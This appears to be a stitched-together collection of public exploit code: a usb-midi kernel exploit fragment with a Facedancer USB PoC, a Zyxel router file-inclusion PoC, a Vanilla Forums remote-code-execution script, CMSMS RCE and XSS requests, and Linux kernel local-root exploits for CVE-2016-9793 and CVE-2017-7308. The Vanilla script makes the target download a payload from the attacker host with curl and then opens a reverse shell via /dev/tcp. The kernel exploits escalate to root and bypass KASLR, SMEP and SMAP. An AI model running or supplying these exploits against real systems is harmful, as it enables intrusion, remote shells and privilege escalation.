client_send_message(client_sock);
while (true) {
step_begin(id);
check_root();
step_end(id);
}
}
bool parse_int(const char *input, int *output) {
char* wrong_token = NULL;
int result = strtol(input, &wrong_token, 10);
if (*wrong_token != '\0') {
return false;
}
*output = result;
return true;
}
int main(int argc, char **argv) {
bool rv;
int id;
if (argc != 2) {
printf("Usage: %s <instance_id>\n", argv[0]);
return EXIT_SUCCESS;
}
rv = parse_int(argv[1], &id);
if (!rv) {
printf("Usage: %s <instance_id>\n", argv[0]);
return EXIT_SUCCESS;
}
printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid());
printf("[+] payload addr: %p\n", &payload);
mmap_stack();
printf("[+] fake stack mmaped\n");
printf("[+] plug in the usb device...\n");
body(id);
return EXIT_SUCCESS;
}
--- EOF ---
---poc.py---
#!/usr/bin/env python3
# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
# driver. Can be used on it's own for a denial of service attack. Should be
# used in conjuction with a userspace part for an arbitrary code execution
# attack.
#
# Requires a Facedancer21 board
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
#
# Andrey Konovalov <anreyknvl@gmail.com>
from USB import *
from USBDevice import *
from USBConfiguration import *
from USBInterface import *
class PwnUSBDevice(USBDevice):
name = "USB device"
def __init__(self, maxusb_app, verbose=0):
interface = USBInterface(
0, # interface number
0, # alternate setting
255, # interface class
0, # subclass
0, # protocol
0, # string index
verbose,
[],
{}
)
config = USBConfiguration(
1, # index
"Emulated Device", # string desc
[ interface ] # interfaces
)
USBDevice.__init__(
self,
maxusb_app,
0, # device class
0, # device subclass
0, # protocol release number
64, # max packet size for endpoint 0
0x0763, # vendor id
0x1002, # product id
0, # device revision
"Midiman", # manufacturer string
"MidiSport 2x2", # product string
"?", # serial number string
[ config ],
verbose=verbose
)
from Facedancer import *
from MAXUSBApp import *
sp = GoodFETSerialPort()
fd = Facedancer(sp, verbose=1)
u = MAXUSBApp(fd, verbose=1)
d = PwnUSBDevice(u, verbose=4)
d.connect()
try:
d.run()
except KeyboardInterrupt:
d.disconnect()
---EOF---
# Exploit Title: Zyxel P-660HW-61 < 3.40(PE.11)C0 - Local File Inclusion
# Date: 2-05-2017
# Exploit Author: ReverseBrain
# Contact: https://www.twitter.com/ReverseBrain
# Vendor Homepage: https://www.zyxel.com
# Software Link: ftp://ftp.zyxel.com/P-660HW-61/firmware/P-660HW-61_3.40(PE.11)C0.zip
# Version: 3.40(PE.11)C0
1. Description
Any user who can login into the router can exploit the Local File Inclusion
reading files stored inside the device.
2. Proof of Concept
Login into the router and use the path of a file you want to read as
getpage parameter. For example:
http://ROUTER_IP/cgi-bin/webcm?getpage=/etc/passwd
#!/bin/bash
#
# __ __ __ __ __
# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
# /____/
#
#
# Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day
# Core version (no plugins, default config.)
#
# CVE-2016-10033 (RCE)
# CVE-2016-10073 (Header Injection)
#
# vanilla-forums-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski
# https://legalhackers.com
# https://twitter.com/dawid_golunski
#
# ExploitBox project:
# https://ExploitBox.io
#
#
# Exploit code:
# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh
#
# Full advisory URL:
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
#
# Related advisories:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
#
# White-paper 'Pwning PHP mail() function For Fun And RCE'
# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
#
#
# Usage:
# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip
#
# Tested on:
# Vanilla Core 2.3
# https://open.vanillaforums.com/addon/vanilla-core-2.3
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulnerabilities/exploitation?
#
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# Subscribe at:
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
echo "$intro" | base64 -d
if [ "$#" -ne 2 ]; then
echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"
exit 1
fi
target="$1"
rev_host="$2"
echo -e ' \e[44m| ExploitBox.io |\e[0m'
echo -e "
\e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m"
#sleep 1s
echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m
\e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m
"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
#sleep 2s
#sleep 2s
# Host payload on :80
RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# POST data string
data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"
if [ $? -ne 0 ]; then
echo "[!] Failed conecting to the target URL. Exiting"
exit 2
fi
echo -e "\e[92m[+]\033[0m Connected to the target"
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
sleep 2s
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/usr/bin/nohup /bin/bash /tmp/rce"
prep_host_header "$cmd"
#echo -e "Host Payload2: \nHost: $host_header"
curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
#killall python
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
#kill -9 $hpid
echo "Exiting..."
exit 0
# Title: CMSMS 2.1.6 Multiple Vulnerabilities
# Date: 10-05-2017
# Tested on: Windows 8 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912
Remote Code Execution
======================
POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1
Stored XSS
==========
POST /cmsms/admin/addgroup.php HTTP/1.1
_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true
Disclosure Timeline
====================
09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
struct ubuf_info_t {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info_t {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul
struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void* skb_thr(void* arg) {
while (1) {
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
}
}
int sockets[2];
void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "\x5c", 1);
if (getuid() == 0) {
printf("[+] got r00t\n");
execl("/bin/bash", "bash", NULL);
perror("execl()");
}
printf("[-] something went wrong\n");
}
int main() {
void *addr;
int rv;
uint32_t sndbuf;
addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
-1, 0);
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
perror("mmap()");
exit(EXIT_FAILURE);
}
printf("[.] userspace payload mmapped at %p\n", addr);
pthread_t skb_th;
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] overwriting thread started\n");
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
printf("[.] sockets opened\n");
sndbuf = SNDBUF;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] writing to socket\n");
// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);
close(sockets[0]);
close(sockets[1]);
return 0;
}
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Kernel symbol offsets
#define COMMIT_CREDS 0xa5cf0ul
#define PREPARE_KERNEL_CRED 0xa60e0ul
#define NATIVE_WRITE_CR4 0x64210ul
// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE 0x407f0ul
#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
typedef uint32_t u32;
// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
struct hlist_node * next; /* 0 8 */
struct hlist_node * * pprev; /* 8 8 */
};
// $ pahole -C timer_list ./vmlinux
struct timer_list {
struct hlist_node entry; /* 0 16 */
long unsigned int expires; /* 16 8 */
void (*function)(long unsigned int); /* 24 8 */
long unsigned int data; /* 32 8 */
u32 flags; /* 40 4 */
int start_pid; /* 44 4 */
void * start_site; /* 48 8 */
char start_comm[16]; /* 56 16 */
};
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET 896
// pakcet_sock->xmit
#define XMIT_OFFSET 1304
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}
void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}
void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func;
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
void get_root_payload(void) {
((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
);
}
// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
unsigned long get_kernel_addr() {
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
size = (size / getpagesize() + 1) * getpagesize();
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
const char *needle1 = "Freeing SMP";
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
exit(EXIT_FAILURE);
}
for (size = 0; substr[size] != '\n'; size++);
const char *needle2 = "ffff";
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
exit(EXIT_FAILURE);
}
char *endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
// Fork and exec instead of just doing the exec to avoid potential
// memory corruptions when closing packet sockets.
fork_shell();
}
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
